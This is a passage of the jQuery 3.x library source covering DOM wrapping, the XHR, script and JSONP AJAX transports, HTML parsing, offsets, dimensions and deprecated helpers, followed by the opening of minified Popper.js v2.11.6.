var self = jQuery( this ),
|
|
contents = self.contents();
|
|
|
|
if ( contents.length ) {
|
|
contents.wrapAll( html );
|
|
|
|
} else {
|
|
self.append( html );
|
|
}
|
|
} );
|
|
},
|
|
|
|
wrap: function( html ) {
|
|
var htmlIsFunction = isFunction( html );
|
|
|
|
return this.each( function( i ) {
|
|
jQuery( this ).wrapAll( htmlIsFunction ? html.call( this, i ) : html );
|
|
} );
|
|
},
|
|
|
|
unwrap: function( selector ) {
|
|
this.parent( selector ).not( "body" ).each( function() {
|
|
jQuery( this ).replaceWith( this.childNodes );
|
|
} );
|
|
return this;
|
|
}
|
|
} );
|
|
|
|
|
|
jQuery.expr.pseudos.hidden = function( elem ) {
|
|
return !jQuery.expr.pseudos.visible( elem );
|
|
};
|
|
jQuery.expr.pseudos.visible = function( elem ) {
|
|
return !!( elem.offsetWidth || elem.offsetHeight || elem.getClientRects().length );
|
|
};
|
|
|
|
|
|
|
|
|
|
jQuery.ajaxSettings.xhr = function() {
|
|
try {
|
|
return new window.XMLHttpRequest();
|
|
} catch ( e ) {}
|
|
};
|
|
|
|
var xhrSuccessStatus = {
|
|
|
|
// File protocol always yields status code 0, assume 200
|
|
0: 200,
|
|
|
|
// Support: IE <=9 only
|
|
// #1450: sometimes IE returns 1223 when it should be 204
|
|
1223: 204
|
|
},
|
|
xhrSupported = jQuery.ajaxSettings.xhr();
|
|
|
|
support.cors = !!xhrSupported && ( "withCredentials" in xhrSupported );
|
|
support.ajax = xhrSupported = !!xhrSupported;
|
|
|
|
jQuery.ajaxTransport( function( options ) {
|
|
var callback, errorCallback;
|
|
|
|
// Cross domain only allowed if supported through XMLHttpRequest
|
|
if ( support.cors || xhrSupported && !options.crossDomain ) {
|
|
return {
|
|
send: function( headers, complete ) {
|
|
var i,
|
|
xhr = options.xhr();
|
|
|
|
xhr.open(
|
|
options.type,
|
|
options.url,
|
|
options.async,
|
|
options.username,
|
|
options.password
|
|
);
|
|
|
|
// Apply custom fields if provided
|
|
if ( options.xhrFields ) {
|
|
for ( i in options.xhrFields ) {
|
|
xhr[ i ] = options.xhrFields[ i ];
|
|
}
|
|
}
|
|
|
|
// Override mime type if needed
|
|
if ( options.mimeType && xhr.overrideMimeType ) {
|
|
xhr.overrideMimeType( options.mimeType );
|
|
}
|
|
|
|
// X-Requested-With header
|
|
// For cross-domain requests, seeing as conditions for a preflight are
|
|
// akin to a jigsaw puzzle, we simply never set it to be sure.
|
|
// (it can always be set on a per-request basis or even using ajaxSetup)
|
|
// For same-domain requests, won't change header if already provided.
|
|
if ( !options.crossDomain && !headers[ "X-Requested-With" ] ) {
|
|
headers[ "X-Requested-With" ] = "XMLHttpRequest";
|
|
}
|
|
|
|
// Set headers
|
|
for ( i in headers ) {
|
|
xhr.setRequestHeader( i, headers[ i ] );
|
|
}
|
|
|
|
// Callback
|
|
callback = function( type ) {
|
|
return function() {
|
|
if ( callback ) {
|
|
callback = errorCallback = xhr.onload =
|
|
xhr.onerror = xhr.onabort = xhr.ontimeout =
|
|
xhr.onreadystatechange = null;
|
|
|
|
if ( type === "abort" ) {
|
|
xhr.abort();
|
|
} else if ( type === "error" ) {
|
|
|
|
// Support: IE <=9 only
|
|
// On a manual native abort, IE9 throws
|
|
// errors on any property access that is not readyState
|
|
if ( typeof xhr.status !== "number" ) {
|
|
complete( 0, "error" );
|
|
} else {
|
|
complete(
|
|
|
|
// File: protocol always yields status 0; see #8605, #14207
|
|
xhr.status,
|
|
xhr.statusText
|
|
);
|
|
}
|
|
} else {
|
|
complete(
|
|
xhrSuccessStatus[ xhr.status ] || xhr.status,
|
|
xhr.statusText,
|
|
|
|
// Support: IE <=9 only
|
|
// IE9 has no XHR2 but throws on binary (trac-11426)
|
|
// For XHR2 non-text, let the caller handle it (gh-2498)
|
|
( xhr.responseType || "text" ) !== "text" ||
|
|
typeof xhr.responseText !== "string" ?
|
|
{ binary: xhr.response } :
|
|
{ text: xhr.responseText },
|
|
xhr.getAllResponseHeaders()
|
|
);
|
|
}
|
|
}
|
|
};
|
|
};
|
|
|
|
// Listen to events
|
|
xhr.onload = callback();
|
|
errorCallback = xhr.onerror = xhr.ontimeout = callback( "error" );
|
|
|
|
// Support: IE 9 only
|
|
// Use onreadystatechange to replace onabort
|
|
// to handle uncaught aborts
|
|
if ( xhr.onabort !== undefined ) {
|
|
xhr.onabort = errorCallback;
|
|
} else {
|
|
xhr.onreadystatechange = function() {
|
|
|
|
// Check readyState before timeout as it changes
|
|
if ( xhr.readyState === 4 ) {
|
|
|
|
// Allow onerror to be called first,
|
|
// but that will not handle a native abort
|
|
// Also, save errorCallback to a variable
|
|
// as xhr.onerror cannot be accessed
|
|
window.setTimeout( function() {
|
|
if ( callback ) {
|
|
errorCallback();
|
|
}
|
|
} );
|
|
}
|
|
};
|
|
}
|
|
|
|
// Create the abort callback
|
|
callback = callback( "abort" );
|
|
|
|
try {
|
|
|
|
// Do send the request (this may raise an exception)
|
|
xhr.send( options.hasContent && options.data || null );
|
|
} catch ( e ) {
|
|
|
|
// #14683: Only rethrow if this hasn't been notified as an error yet
|
|
if ( callback ) {
|
|
throw e;
|
|
}
|
|
}
|
|
},
|
|
|
|
abort: function() {
|
|
if ( callback ) {
|
|
callback();
|
|
}
|
|
}
|
|
};
|
|
}
|
|
} );
|
|
|
|
|
|
|
|
|
|
// Prevent auto-execution of scripts when no explicit dataType was provided (See gh-2432)
|
|
jQuery.ajaxPrefilter( function( s ) {
|
|
if ( s.crossDomain ) {
|
|
s.contents.script = false;
|
|
}
|
|
} );
|
|
|
|
// Install script dataType
|
|
jQuery.ajaxSetup( {
|
|
accepts: {
|
|
script: "text/javascript, application/javascript, " +
|
|
"application/ecmascript, application/x-ecmascript"
|
|
},
|
|
contents: {
|
|
script: /\b(?:java|ecma)script\b/
|
|
},
|
|
converters: {
|
|
"text script": function( text ) {
|
|
jQuery.globalEval( text );
|
|
return text;
|
|
}
|
|
}
|
|
} );
|
|
|
|
// Handle cache's special case and crossDomain
|
|
jQuery.ajaxPrefilter( "script", function( s ) {
|
|
if ( s.cache === undefined ) {
|
|
s.cache = false;
|
|
}
|
|
if ( s.crossDomain ) {
|
|
s.type = "GET";
|
|
}
|
|
} );
|
|
|
|
// Bind script tag hack transport
|
|
jQuery.ajaxTransport( "script", function( s ) {
|
|
|
|
// This transport only deals with cross domain requests
|
|
if ( s.crossDomain ) {
|
|
var script, callback;
|
|
return {
|
|
send: function( _, complete ) {
|
|
script = jQuery( "<script>" ).prop( {
|
|
charset: s.scriptCharset,
|
|
src: s.url
|
|
} ).on(
|
|
"load error",
|
|
callback = function( evt ) {
|
|
script.remove();
|
|
callback = null;
|
|
if ( evt ) {
|
|
complete( evt.type === "error" ? 404 : 200, evt.type );
|
|
}
|
|
}
|
|
);
|
|
|
|
// Use native DOM manipulation to avoid our domManip AJAX trickery
|
|
document.head.appendChild( script[ 0 ] );
|
|
},
|
|
abort: function() {
|
|
if ( callback ) {
|
|
callback();
|
|
}
|
|
}
|
|
};
|
|
}
|
|
} );
|
|
|
|
|
|
|
|
|
|
var oldCallbacks = [],
|
|
rjsonp = /(=)\?(?=&|$)|\?\?/;
|
|
|
|
// Default jsonp settings
|
|
jQuery.ajaxSetup( {
|
|
jsonp: "callback",
|
|
jsonpCallback: function() {
|
|
var callback = oldCallbacks.pop() || ( jQuery.expando + "_" + ( nonce++ ) );
|
|
this[ callback ] = true;
|
|
return callback;
|
|
}
|
|
} );
|
|
|
|
// Detect, normalize options and install callbacks for jsonp requests
|
|
jQuery.ajaxPrefilter( "json jsonp", function( s, originalSettings, jqXHR ) {
|
|
|
|
var callbackName, overwritten, responseContainer,
|
|
jsonProp = s.jsonp !== false && ( rjsonp.test( s.url ) ?
|
|
"url" :
|
|
typeof s.data === "string" &&
|
|
( s.contentType || "" )
|
|
.indexOf( "application/x-www-form-urlencoded" ) === 0 &&
|
|
rjsonp.test( s.data ) && "data"
|
|
);
|
|
|
|
// Handle iff the expected data type is "jsonp" or we have a parameter to set
|
|
if ( jsonProp || s.dataTypes[ 0 ] === "jsonp" ) {
|
|
|
|
// Get callback name, remembering preexisting value associated with it
|
|
callbackName = s.jsonpCallback = isFunction( s.jsonpCallback ) ?
|
|
s.jsonpCallback() :
|
|
s.jsonpCallback;
|
|
|
|
// Insert callback into url or form data
|
|
if ( jsonProp ) {
|
|
s[ jsonProp ] = s[ jsonProp ].replace( rjsonp, "$1" + callbackName );
|
|
} else if ( s.jsonp !== false ) {
|
|
s.url += ( rquery.test( s.url ) ? "&" : "?" ) + s.jsonp + "=" + callbackName;
|
|
}
|
|
|
|
// Use data converter to retrieve json after script execution
|
|
s.converters[ "script json" ] = function() {
|
|
if ( !responseContainer ) {
|
|
jQuery.error( callbackName + " was not called" );
|
|
}
|
|
return responseContainer[ 0 ];
|
|
};
|
|
|
|
// Force json dataType
|
|
s.dataTypes[ 0 ] = "json";
|
|
|
|
// Install callback
|
|
overwritten = window[ callbackName ];
|
|
window[ callbackName ] = function() {
|
|
responseContainer = arguments;
|
|
};
|
|
|
|
// Clean-up function (fires after converters)
|
|
jqXHR.always( function() {
|
|
|
|
// If previous value didn't exist - remove it
|
|
if ( overwritten === undefined ) {
|
|
jQuery( window ).removeProp( callbackName );
|
|
|
|
// Otherwise restore preexisting value
|
|
} else {
|
|
window[ callbackName ] = overwritten;
|
|
}
|
|
|
|
// Save back as free
|
|
if ( s[ callbackName ] ) {
|
|
|
|
// Make sure that re-using the options doesn't screw things around
|
|
s.jsonpCallback = originalSettings.jsonpCallback;
|
|
|
|
// Save the callback name for future use
|
|
oldCallbacks.push( callbackName );
|
|
}
|
|
|
|
// Call if it was a function and we have a response
|
|
if ( responseContainer && isFunction( overwritten ) ) {
|
|
overwritten( responseContainer[ 0 ] );
|
|
}
|
|
|
|
responseContainer = overwritten = undefined;
|
|
} );
|
|
|
|
// Delegate to script
|
|
return "script";
|
|
}
|
|
} );
|
|
|
|
|
|
|
|
|
|
// Support: Safari 8 only
|
|
// In Safari 8 documents created via document.implementation.createHTMLDocument
|
|
// collapse sibling forms: the second one becomes a child of the first one.
|
|
// Because of that, this security measure has to be disabled in Safari 8.
|
|
// https://bugs.webkit.org/show_bug.cgi?id=137337
|
|
support.createHTMLDocument = ( function() {
|
|
var body = document.implementation.createHTMLDocument( "" ).body;
|
|
body.innerHTML = "<form></form><form></form>";
|
|
return body.childNodes.length === 2;
|
|
} )();
|
|
|
|
|
|
// Argument "data" should be string of html
|
|
// context (optional): If specified, the fragment will be created in this context,
|
|
// defaults to document
|
|
// keepScripts (optional): If true, will include scripts passed in the html string
|
|
jQuery.parseHTML = function( data, context, keepScripts ) {
|
|
if ( typeof data !== "string" ) {
|
|
return [];
|
|
}
|
|
if ( typeof context === "boolean" ) {
|
|
keepScripts = context;
|
|
context = false;
|
|
}
|
|
|
|
var base, parsed, scripts;
|
|
|
|
if ( !context ) {
|
|
|
|
// Stop scripts or inline event handlers from being executed immediately
|
|
// by using document.implementation
|
|
if ( support.createHTMLDocument ) {
|
|
context = document.implementation.createHTMLDocument( "" );
|
|
|
|
// Set the base href for the created document
|
|
// so any parsed elements with URLs
|
|
// are based on the document's URL (gh-2965)
|
|
base = context.createElement( "base" );
|
|
base.href = document.location.href;
|
|
context.head.appendChild( base );
|
|
} else {
|
|
context = document;
|
|
}
|
|
}
|
|
|
|
parsed = rsingleTag.exec( data );
|
|
scripts = !keepScripts && [];
|
|
|
|
// Single tag
|
|
if ( parsed ) {
|
|
return [ context.createElement( parsed[ 1 ] ) ];
|
|
}
|
|
|
|
parsed = buildFragment( [ data ], context, scripts );
|
|
|
|
if ( scripts && scripts.length ) {
|
|
jQuery( scripts ).remove();
|
|
}
|
|
|
|
return jQuery.merge( [], parsed.childNodes );
|
|
};
|
|
|
|
|
|
/**
|
|
* Load a url into a page
|
|
*/
|
|
jQuery.fn.load = function( url, params, callback ) {
|
|
var selector, type, response,
|
|
self = this,
|
|
off = url.indexOf( " " );
|
|
|
|
if ( off > -1 ) {
|
|
selector = stripAndCollapse( url.slice( off ) );
|
|
url = url.slice( 0, off );
|
|
}
|
|
|
|
// If it's a function
|
|
if ( isFunction( params ) ) {
|
|
|
|
// We assume that it's the callback
|
|
callback = params;
|
|
params = undefined;
|
|
|
|
// Otherwise, build a param string
|
|
} else if ( params && typeof params === "object" ) {
|
|
type = "POST";
|
|
}
|
|
|
|
// If we have elements to modify, make the request
|
|
if ( self.length > 0 ) {
|
|
jQuery.ajax( {
|
|
url: url,
|
|
|
|
// If "type" variable is undefined, then "GET" method will be used.
|
|
// Make value of this field explicit since
|
|
// user can override it through ajaxSetup method
|
|
type: type || "GET",
|
|
dataType: "html",
|
|
data: params
|
|
} ).done( function( responseText ) {
|
|
|
|
// Save response for use in complete callback
|
|
response = arguments;
|
|
|
|
self.html( selector ?
|
|
|
|
// If a selector was specified, locate the right elements in a dummy div
|
|
// Exclude scripts to avoid IE 'Permission Denied' errors
|
|
jQuery( "<div>" ).append( jQuery.parseHTML( responseText ) ).find( selector ) :
|
|
|
|
// Otherwise use the full result
|
|
responseText );
|
|
|
|
// If the request succeeds, this function gets "data", "status", "jqXHR"
|
|
// but they are ignored because response was set above.
|
|
// If it fails, this function gets "jqXHR", "status", "error"
|
|
} ).always( callback && function( jqXHR, status ) {
|
|
self.each( function() {
|
|
callback.apply( this, response || [ jqXHR.responseText, status, jqXHR ] );
|
|
} );
|
|
} );
|
|
}
|
|
|
|
return this;
|
|
};
|
|
|
|
|
|
|
|
|
|
// Attach a bunch of functions for handling common AJAX events
|
|
jQuery.each( [
|
|
"ajaxStart",
|
|
"ajaxStop",
|
|
"ajaxComplete",
|
|
"ajaxError",
|
|
"ajaxSuccess",
|
|
"ajaxSend"
|
|
], function( i, type ) {
|
|
jQuery.fn[ type ] = function( fn ) {
|
|
return this.on( type, fn );
|
|
};
|
|
} );
|
|
|
|
|
|
|
|
|
|
jQuery.expr.pseudos.animated = function( elem ) {
|
|
return jQuery.grep( jQuery.timers, function( fn ) {
|
|
return elem === fn.elem;
|
|
} ).length;
|
|
};
|
|
|
|
|
|
|
|
|
|
jQuery.offset = {
|
|
setOffset: function( elem, options, i ) {
|
|
var curPosition, curLeft, curCSSTop, curTop, curOffset, curCSSLeft, calculatePosition,
|
|
position = jQuery.css( elem, "position" ),
|
|
curElem = jQuery( elem ),
|
|
props = {};
|
|
|
|
// Set position first, in-case top/left are set even on static elem
|
|
if ( position === "static" ) {
|
|
elem.style.position = "relative";
|
|
}
|
|
|
|
curOffset = curElem.offset();
|
|
curCSSTop = jQuery.css( elem, "top" );
|
|
curCSSLeft = jQuery.css( elem, "left" );
|
|
calculatePosition = ( position === "absolute" || position === "fixed" ) &&
|
|
( curCSSTop + curCSSLeft ).indexOf( "auto" ) > -1;
|
|
|
|
// Need to be able to calculate position if either
|
|
// top or left is auto and position is either absolute or fixed
|
|
if ( calculatePosition ) {
|
|
curPosition = curElem.position();
|
|
curTop = curPosition.top;
|
|
curLeft = curPosition.left;
|
|
|
|
} else {
|
|
curTop = parseFloat( curCSSTop ) || 0;
|
|
curLeft = parseFloat( curCSSLeft ) || 0;
|
|
}
|
|
|
|
if ( isFunction( options ) ) {
|
|
|
|
// Use jQuery.extend here to allow modification of coordinates argument (gh-1848)
|
|
options = options.call( elem, i, jQuery.extend( {}, curOffset ) );
|
|
}
|
|
|
|
if ( options.top != null ) {
|
|
props.top = ( options.top - curOffset.top ) + curTop;
|
|
}
|
|
if ( options.left != null ) {
|
|
props.left = ( options.left - curOffset.left ) + curLeft;
|
|
}
|
|
|
|
if ( "using" in options ) {
|
|
options.using.call( elem, props );
|
|
|
|
} else {
|
|
curElem.css( props );
|
|
}
|
|
}
|
|
};
|
|
|
|
jQuery.fn.extend( {
|
|
|
|
// offset() relates an element's border box to the document origin
|
|
offset: function( options ) {
|
|
|
|
// Preserve chaining for setter
|
|
if ( arguments.length ) {
|
|
return options === undefined ?
|
|
this :
|
|
this.each( function( i ) {
|
|
jQuery.offset.setOffset( this, options, i );
|
|
} );
|
|
}
|
|
|
|
var rect, win,
|
|
elem = this[ 0 ];
|
|
|
|
if ( !elem ) {
|
|
return;
|
|
}
|
|
|
|
// Return zeros for disconnected and hidden (display: none) elements (gh-2310)
|
|
// Support: IE <=11 only
|
|
// Running getBoundingClientRect on a
|
|
// disconnected node in IE throws an error
|
|
if ( !elem.getClientRects().length ) {
|
|
return { top: 0, left: 0 };
|
|
}
|
|
|
|
// Get document-relative position by adding viewport scroll to viewport-relative gBCR
|
|
rect = elem.getBoundingClientRect();
|
|
win = elem.ownerDocument.defaultView;
|
|
return {
|
|
top: rect.top + win.pageYOffset,
|
|
left: rect.left + win.pageXOffset
|
|
};
|
|
},
|
|
|
|
// position() relates an element's margin box to its offset parent's padding box
|
|
// This corresponds to the behavior of CSS absolute positioning
|
|
position: function() {
|
|
if ( !this[ 0 ] ) {
|
|
return;
|
|
}
|
|
|
|
var offsetParent, offset, doc,
|
|
elem = this[ 0 ],
|
|
parentOffset = { top: 0, left: 0 };
|
|
|
|
// position:fixed elements are offset from the viewport, which itself always has zero offset
|
|
if ( jQuery.css( elem, "position" ) === "fixed" ) {
|
|
|
|
// Assume position:fixed implies availability of getBoundingClientRect
|
|
offset = elem.getBoundingClientRect();
|
|
|
|
} else {
|
|
offset = this.offset();
|
|
|
|
// Account for the *real* offset parent, which can be the document or its root element
|
|
// when a statically positioned element is identified
|
|
doc = elem.ownerDocument;
|
|
offsetParent = elem.offsetParent || doc.documentElement;
|
|
while ( offsetParent &&
|
|
( offsetParent === doc.body || offsetParent === doc.documentElement ) &&
|
|
jQuery.css( offsetParent, "position" ) === "static" ) {
|
|
|
|
offsetParent = offsetParent.parentNode;
|
|
}
|
|
if ( offsetParent && offsetParent !== elem && offsetParent.nodeType === 1 ) {
|
|
|
|
// Incorporate borders into its offset, since they are outside its content origin
|
|
parentOffset = jQuery( offsetParent ).offset();
|
|
parentOffset.top += jQuery.css( offsetParent, "borderTopWidth", true );
|
|
parentOffset.left += jQuery.css( offsetParent, "borderLeftWidth", true );
|
|
}
|
|
}
|
|
|
|
// Subtract parent offsets and element margins
|
|
return {
|
|
top: offset.top - parentOffset.top - jQuery.css( elem, "marginTop", true ),
|
|
left: offset.left - parentOffset.left - jQuery.css( elem, "marginLeft", true )
|
|
};
|
|
},
|
|
|
|
// This method will return documentElement in the following cases:
|
|
// 1) For the element inside the iframe without offsetParent, this method will return
|
|
// documentElement of the parent window
|
|
// 2) For the hidden or detached element
|
|
// 3) For body or html element, i.e. in case of the html node - it will return itself
|
|
//
|
|
// but those exceptions were never presented as a real life use-cases
|
|
// and might be considered as more preferable results.
|
|
//
|
|
// This logic, however, is not guaranteed and can change at any point in the future
|
|
offsetParent: function() {
|
|
return this.map( function() {
|
|
var offsetParent = this.offsetParent;
|
|
|
|
while ( offsetParent && jQuery.css( offsetParent, "position" ) === "static" ) {
|
|
offsetParent = offsetParent.offsetParent;
|
|
}
|
|
|
|
return offsetParent || documentElement;
|
|
} );
|
|
}
|
|
} );
|
|
|
|
// Create scrollLeft and scrollTop methods
|
|
jQuery.each( { scrollLeft: "pageXOffset", scrollTop: "pageYOffset" }, function( method, prop ) {
|
|
var top = "pageYOffset" === prop;
|
|
|
|
jQuery.fn[ method ] = function( val ) {
|
|
return access( this, function( elem, method, val ) {
|
|
|
|
// Coalesce documents and windows
|
|
var win;
|
|
if ( isWindow( elem ) ) {
|
|
win = elem;
|
|
} else if ( elem.nodeType === 9 ) {
|
|
win = elem.defaultView;
|
|
}
|
|
|
|
if ( val === undefined ) {
|
|
return win ? win[ prop ] : elem[ method ];
|
|
}
|
|
|
|
if ( win ) {
|
|
win.scrollTo(
|
|
!top ? val : win.pageXOffset,
|
|
top ? val : win.pageYOffset
|
|
);
|
|
|
|
} else {
|
|
elem[ method ] = val;
|
|
}
|
|
}, method, val, arguments.length );
|
|
};
|
|
} );
|
|
|
|
// Support: Safari <=7 - 9.1, Chrome <=37 - 49
|
|
// Add the top/left cssHooks using jQuery.fn.position
|
|
// Webkit bug: https://bugs.webkit.org/show_bug.cgi?id=29084
|
|
// Blink bug: https://bugs.chromium.org/p/chromium/issues/detail?id=589347
|
|
// getComputedStyle returns percent when specified for top/left/bottom/right;
|
|
// rather than make the css module depend on the offset module, just check for it here
|
|
jQuery.each( [ "top", "left" ], function( i, prop ) {
|
|
jQuery.cssHooks[ prop ] = addGetHookIf( support.pixelPosition,
|
|
function( elem, computed ) {
|
|
if ( computed ) {
|
|
computed = curCSS( elem, prop );
|
|
|
|
// If curCSS returns percentage, fallback to offset
|
|
return rnumnonpx.test( computed ) ?
|
|
jQuery( elem ).position()[ prop ] + "px" :
|
|
computed;
|
|
}
|
|
}
|
|
);
|
|
} );
|
|
|
|
|
|
// Create innerHeight, innerWidth, height, width, outerHeight and outerWidth methods
|
|
jQuery.each( { Height: "height", Width: "width" }, function( name, type ) {
|
|
jQuery.each( { padding: "inner" + name, content: type, "": "outer" + name },
|
|
function( defaultExtra, funcName ) {
|
|
|
|
// Margin is only for outerHeight, outerWidth
|
|
jQuery.fn[ funcName ] = function( margin, value ) {
|
|
var chainable = arguments.length && ( defaultExtra || typeof margin !== "boolean" ),
|
|
extra = defaultExtra || ( margin === true || value === true ? "margin" : "border" );
|
|
|
|
return access( this, function( elem, type, value ) {
|
|
var doc;
|
|
|
|
if ( isWindow( elem ) ) {
|
|
|
|
// $( window ).outerWidth/Height return w/h including scrollbars (gh-1729)
|
|
return funcName.indexOf( "outer" ) === 0 ?
|
|
elem[ "inner" + name ] :
|
|
elem.document.documentElement[ "client" + name ];
|
|
}
|
|
|
|
// Get document width or height
|
|
if ( elem.nodeType === 9 ) {
|
|
doc = elem.documentElement;
|
|
|
|
// Either scroll[Width/Height] or offset[Width/Height] or client[Width/Height],
|
|
// whichever is greatest
|
|
return Math.max(
|
|
elem.body[ "scroll" + name ], doc[ "scroll" + name ],
|
|
elem.body[ "offset" + name ], doc[ "offset" + name ],
|
|
doc[ "client" + name ]
|
|
);
|
|
}
|
|
|
|
return value === undefined ?
|
|
|
|
// Get width or height on the element, requesting but not forcing parseFloat
|
|
jQuery.css( elem, type, extra ) :
|
|
|
|
// Set width or height on the element
|
|
jQuery.style( elem, type, value, extra );
|
|
}, type, chainable ? margin : undefined, chainable );
|
|
};
|
|
} );
|
|
} );
|
|
|
|
|
|
jQuery.each( ( "blur focus focusin focusout resize scroll click dblclick " +
|
|
"mousedown mouseup mousemove mouseover mouseout mouseenter mouseleave " +
|
|
"change select submit keydown keypress keyup contextmenu" ).split( " " ),
|
|
function( i, name ) {
|
|
|
|
// Handle event binding
|
|
jQuery.fn[ name ] = function( data, fn ) {
|
|
return arguments.length > 0 ?
|
|
this.on( name, null, data, fn ) :
|
|
this.trigger( name );
|
|
};
|
|
} );
|
|
|
|
jQuery.fn.extend( {
|
|
hover: function( fnOver, fnOut ) {
|
|
return this.mouseenter( fnOver ).mouseleave( fnOut || fnOver );
|
|
}
|
|
} );
|
|
|
|
|
|
|
|
|
|
jQuery.fn.extend( {
|
|
|
|
bind: function( types, data, fn ) {
|
|
return this.on( types, null, data, fn );
|
|
},
|
|
unbind: function( types, fn ) {
|
|
return this.off( types, null, fn );
|
|
},
|
|
|
|
delegate: function( selector, types, data, fn ) {
|
|
return this.on( types, selector, data, fn );
|
|
},
|
|
undelegate: function( selector, types, fn ) {
|
|
|
|
// ( namespace ) or ( selector, types [, fn] )
|
|
return arguments.length === 1 ?
|
|
this.off( selector, "**" ) :
|
|
this.off( types, selector || "**", fn );
|
|
}
|
|
} );
|
|
|
|
// Bind a function to a context, optionally partially applying any
|
|
// arguments.
|
|
// jQuery.proxy is deprecated to promote standards (specifically Function#bind)
|
|
// However, it is not slated for removal any time soon
|
|
jQuery.proxy = function( fn, context ) {
|
|
var tmp, args, proxy;
|
|
|
|
if ( typeof context === "string" ) {
|
|
tmp = fn[ context ];
|
|
context = fn;
|
|
fn = tmp;
|
|
}
|
|
|
|
// Quick check to determine if target is callable, in the spec
|
|
// this throws a TypeError, but we will just return undefined.
|
|
if ( !isFunction( fn ) ) {
|
|
return undefined;
|
|
}
|
|
|
|
// Simulated bind
|
|
args = slice.call( arguments, 2 );
|
|
proxy = function() {
|
|
return fn.apply( context || this, args.concat( slice.call( arguments ) ) );
|
|
};
|
|
|
|
// Set the guid of unique handler to the same of original handler, so it can be removed
|
|
proxy.guid = fn.guid = fn.guid || jQuery.guid++;
|
|
|
|
return proxy;
|
|
};
|
|
|
|
jQuery.holdReady = function( hold ) {
|
|
if ( hold ) {
|
|
jQuery.readyWait++;
|
|
} else {
|
|
jQuery.ready( true );
|
|
}
|
|
};
|
|
jQuery.isArray = Array.isArray;
|
|
jQuery.parseJSON = JSON.parse;
|
|
jQuery.nodeName = nodeName;
|
|
jQuery.isFunction = isFunction;
|
|
jQuery.isWindow = isWindow;
|
|
jQuery.camelCase = camelCase;
|
|
jQuery.type = toType;
|
|
|
|
jQuery.now = Date.now;
|
|
|
|
jQuery.isNumeric = function( obj ) {
|
|
|
|
// As of jQuery 3.0, isNumeric is limited to
|
|
// strings and numbers (primitives or objects)
|
|
// that can be coerced to finite numbers (gh-2662)
|
|
var type = jQuery.type( obj );
|
|
return ( type === "number" || type === "string" ) &&
|
|
|
|
// parseFloat NaNs numeric-cast false positives ("")
|
|
// ...but misinterprets leading-number strings, particularly hex literals ("0x...")
|
|
// subtraction forces infinities to NaN
|
|
!isNaN( obj - parseFloat( obj ) );
|
|
};
|
|
|
|
|
|
|
|
|
|
// Register as a named AMD module, since jQuery can be concatenated with other
|
|
// files that may use define, but not via a proper concatenation script that
|
|
// understands anonymous AMD modules. A named AMD is safest and most robust
|
|
// way to register. Lowercase jquery is used because AMD module names are
|
|
// derived from file names, and jQuery is normally delivered in a lowercase
|
|
// file name. Do this after creating the global so that if an AMD module wants
|
|
// to call noConflict to hide this version of jQuery, it will work.
|
|
|
|
// Note that for maximum portability, libraries that are not jQuery should
|
|
// declare themselves as anonymous modules, and avoid setting a global if an
|
|
// AMD loader is present. jQuery is a special case. For more information, see
|
|
// https://github.com/jrburke/requirejs/wiki/Updating-existing-libraries#wiki-anon
|
|
|
|
if ( typeof define === "function" && define.amd ) {
|
|
define( "jquery", [], function() {
|
|
return jQuery;
|
|
} );
|
|
}
|
|
|
|
|
|
|
|
|
|
var
|
|
|
|
// Map over jQuery in case of overwrite
|
|
_jQuery = window.jQuery,
|
|
|
|
// Map over the $ in case of overwrite
|
|
_$ = window.$;
|
|
|
|
jQuery.noConflict = function( deep ) {
|
|
if ( window.$ === jQuery ) {
|
|
window.$ = _$;
|
|
}
|
|
|
|
if ( deep && window.jQuery === jQuery ) {
|
|
window.jQuery = _jQuery;
|
|
}
|
|
|
|
return jQuery;
|
|
};
|
|
|
|
// Expose jQuery and $ identifiers, even in AMD
|
|
// (#7102#comment:10, https://github.com/jquery/jquery/pull/557)
|
|
// and CommonJS for browser emulators (#13566)
|
|
if ( !noGlobal ) {
|
|
window.jQuery = window.$ = jQuery;
|
|
}
|
|
|
|
|
|
|
|
|
|
return jQuery;
|
|
} );
|
|
/**
|
|
* @popperjs/core v2.11.6 - MIT License
|
|
*/
|
|
|
|
|
|
!function(e,t){"object"==typeof exports&&"undefined"!=typeof module?t(exports):"function"==typeof define&&define.amd?define(["exports"],t):t((e="undefined"!=typeof globalThis?globalThis:e||self).Popper={})}(this,(function(e){"use strict";function t(e){if(null==e)return window;if("[object Window]"!==e.toString()){var t=e.ownerDocument;return t&&t.defaultView||window}return e}function n(e){return e instanceof t(e).Element||e instanceof Element}function r(e){return e instanceof t(e).HTMLElement||e instanceof HTMLElement}function o(e){return"undefined"!=typeof ShadowRoot&&(e instanceof t(e).ShadowRoot||e instanceof ShadowRoot)}var i=Math.max,a=Math.min,s=Math.round;function f(){var e=navigator.userAgentData;return null!=e&&e.brands?e.brands.map((function(e){return e.brand+"/"+e.version})).join(" "):navigator.userAgent}function c(){return!/^((?!chrome|android).)*safari/i.test(f())}function p(e,o,i){void 0===o&&(o=!1),void 0===i&&(i=!1);var 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ae={name:"offset",enabled:!0,phase:"main",requires:["popperOffsets"],fn:function(e){var t=e.state,n=e.options,r=e.name,o=n.offset,i=void 0===o?[0,0]:o,a=S.reduce((function(e,n){return e[n]=function(e,t,n){var r=C(e),o=[P,D].indexOf(r)>=0?-1:1,i="function"==typeof n?n(Object.assign({},t,{placement:e})):n,a=i[0],s=i[1];return a=a||0,s=(s||0)*o,[P,L].indexOf(r)>=0?{x:s,y:a}:{x:a,y:s}}(n,t.rects,i),e}),{}),s=a[t.placement],f=s.x,c=s.y;null!=t.modifiersData.popperOffsets&&(t.modifiersData.popperOffsets.x+=f,t.modifiersData.popperOffsets.y+=c),t.modifiersData[r]=a}},se={left:"right",right:"left",bottom:"top",top:"bottom"};function fe(e){return e.replace(/left|right|bottom|top/g,(function(e){return se[e]}))}var ce={start:"end",end:"start"};function pe(e){return e.replace(/start|end/g,(function(e){return ce[e]}))}function ue(e,t){void 0===t&&(t={});var n=t,r=n.placement,o=n.boundary,i=n.rootBoundary,a=n.padding,s=n.flipVariations,f=n.allowedAutoPlacements,c=void 0===f?S:f,p=U(r),u=p?s?R:R.filter((function(e){return U(e)===p})):k,l=u.filter((function(e){return c.indexOf(e)>=0}));0===l.length&&(l=u);var d=l.reduce((function(t,n){return t[n]=J(e,{placement:n,boundary:o,rootBoundary:i,padding:a})[C(n)],t}),{});return Object.keys(d).sort((function(e,t){return d[e]-d[t]}))}var le={name:"flip",enabled:!0,phase:"main",fn:function(e){var t=e.state,n=e.options,r=e.name;if(!t.modifiersData[r]._skip){for(var o=n.mainAxis,i=void 0===o||o,a=n.altAxis,s=void 